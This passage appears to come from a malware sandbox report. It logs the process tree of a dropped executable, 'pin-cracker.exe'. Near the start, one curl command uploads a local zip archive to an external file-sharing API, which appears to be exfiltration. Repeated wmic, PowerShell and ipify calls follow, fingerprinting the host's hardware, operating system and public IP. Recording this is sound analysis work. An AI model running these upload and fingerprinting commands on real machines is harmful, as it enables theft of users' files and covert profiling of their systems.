        "C:\ProgramData\Epic\Launcher\pin-cracker.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\pin-cracker" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1716 --field-trial-handle=1916,i,2564666457222993620,15694077475905385698,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1176
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
        "C:\ProgramData\Epic\Launcher\pin-cracker.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\pin-cracker" --mojo-platform-channel-handle=1320 --field-trial-handle=1916,i,2564666457222993620,15694077475905385698,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4564
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6212
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6164
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6420
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Epic/Launcher/EN-Pkvhmxki.zip";"
        7⤵
        
        PID:5060
        
        C:\Windows\system32\curl.exe
        
        curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Epic/Launcher/EN-Pkvhmxki.zip";
        8⤵
        
        PID:904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:4776
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:5436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5736
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5512
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5452
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:4624
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4480
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:4200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1388
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5920
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5972
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5832
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6548
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:3036
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1820
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:7004
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:436
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:4548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:428
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:4028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6544
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:456
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1584
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1012
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:4504
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1188
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:2092
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5816
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1672
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5976
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1160
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:1960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3572
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1628
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:1956
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6364
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5104
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6304
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:7104
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:4316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5316
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5312
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5512
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5604
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5760
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:2872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:4236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3528
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5692
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3840
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4088
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6180
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1020
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:2880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5180
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6808
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:4692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:2708
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4928
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4204
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:4420
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3660
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:7020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6816
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:3984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:2452
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:2444
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:640
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:1152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2876
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4036
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1844
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:628
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6492
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6040
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:1960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:4856
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:6496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:4892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6200
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4860
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2008
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6152
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6352
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5552
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4568
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:1212
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5332
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1608
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5768
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:5808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:7124
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6612
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:2524
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6512
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1456
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4104
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1292
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4988
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:1796
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6360
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3184
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3804
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4544
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6884
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:3284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6568
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:2356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5236
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1116
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1072
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:2792
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:7164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1036
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5948
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6068
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:3964
        
